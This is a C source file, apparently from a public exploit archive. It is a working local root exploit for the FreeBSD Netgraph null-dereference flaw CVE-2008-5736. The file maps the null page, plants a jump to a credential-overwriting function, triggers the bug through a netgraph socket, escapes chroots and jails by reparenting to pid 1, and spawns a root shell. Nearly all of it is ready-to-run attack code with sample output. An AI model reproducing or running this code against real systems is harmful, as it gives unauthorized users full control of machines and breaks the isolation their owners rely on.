1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
|
/*
* FreeBSD <= 6.4-RELEASE Netgraph Exploit
* by zx2c4
*
*
* This is an exploit for CVE-2008-5736, the FreeBSD protosw
* and loosely based on Don Bailey's 2008 exploit -
* http://www.exploit-db.com/exploits/7581/ . The thing with
* Don's exploit is that it relies on having a known location
* of allproc, which means having access to the kernel or
* debugging symbols, either of which might not be available.
* Initial attempts included a general memory search for some
* characteristics of allproc, but this was difficult to make
* reliable. This solution here is a much more standard - get
* the current thread, change its permissions, and execl to
* shell. Additionally, it breaks out of chroots and freebsd
* jails by reparenting to pid 1 and copying its fds.
*
* This reliably works on kernels on or below 6.4-RELEASE:
*
* $ gcc a.c
* $ ./a.out
* ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
* ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
* ~~~~~ greetz to don bailey, edemveiss ~~~~~
*
* [+] mmapping null page
* [+] adding jmp to pwnage in null page
* [+] opening netgraph socket
* [+] triggering null dereference
* [+] elevating permissions
* [+] got root!
* #
*
* It's an oldie, but simple enough that someone needed
* to write another PoC exploit at some point.
*
* cheers,
* zx2c4, 27-2-2011
*
*/
#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/filedesc.h>
#include <sys/queue.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#define PAGES 1
volatile int got_root = 0;
int root(void)
{
struct thread *thread;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_critnest = 0;
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;
struct proc *parent = thread->td_proc;
while (parent->p_pptr && parent->p_pid != 1)
parent = parent->p_pptr;
thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
thread->td_proc->p_pptr = parent;
got_root = 1;
return 0;
}
int main(int argc, char *argv[])
{
printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");
printf("[+] mmapping null page\n");
if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("[-] mmap failed");
return -1;
}
printf("[+] adding jmp to pwnage in null page\n");
*(char*)0x0 = 0x90;
*(char*)0x1 = 0xe9;
*(unsigned long*)0x2 = (unsigned long)&root;
printf("[+] opening netgraph socket\n");
int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if (s < 0) {
perror("[-] failed to open netgraph socket");
return -1;
}
printf("[+] triggering null dereference\n");
shutdown(s, SHUT_RDWR);
if (!got_root) {
printf("[-] failed to trigger pwnage\n");
return -1;
}
printf("[+] elevating permissions\n");
setuid(0);
setgid(0);
if (getuid() != 0) {
printf("[-] failed to get root\n");
return -1;
}
printf("[+] got root!\n");
execl("/bin/sh", "sh", NULL);
return 0;
}
|
